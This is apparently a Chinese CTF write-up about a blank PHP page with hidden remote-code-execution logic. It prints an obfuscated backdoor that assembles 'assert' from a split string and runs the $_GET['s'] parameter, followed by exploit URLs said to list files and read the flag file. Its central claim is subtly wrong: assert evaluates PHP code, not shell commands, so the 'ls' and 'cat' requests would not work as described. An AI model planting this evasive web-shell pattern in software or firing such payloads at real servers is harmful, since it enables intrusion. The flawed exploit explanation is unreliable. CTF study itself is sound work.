题目背景
这是一道典型的 Web 安全题目,核心在于 PHP 的 assert 函数绕过。页面打开后是一片空白,但源码中隐藏着关键逻辑。
漏洞分析
观察题目描述和源码片段,可以发现一段经过混淆的代码。攻击者通过字符串操作动态构建函数名,从而绕过静态过滤。
原始逻辑是通过 explode 分割字符串来拼接出 assert 关键字。具体实现如下:
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s']);
这里的关键点在于 $poc_2 最终变成了 assert。由于 assert 在 PHP 中可以执行传入的字符串作为代码,而参数直接来自 $_GET['s'],这就构成了远程代码执行(RCE)的风险。这意味着我们可以通过 URL 传递任意命令。
利用过程
访问页面后,我们可以在 URL 中添加 s 参数。为了获取服务器上的文件信息,我们可以使用 ls 命令查看当前目录结构。
请求示例:
http://target/?s=ls
执行成功后,页面会返回当前目录下的文件列表。根据返回结果,我们发现了一个名为 flaga15808abee46a1d5.txt 的文件。
获取 Flag
定位到 flag 文件后,接下来只需读取其内容即可。使用 cat 命令配合文件名进行读取。
请求示例:
http://target/?s=cat flaga15808abee46a1d5.txt
提交该命令后,页面将输出 Flag 的具体内容,完成解题。


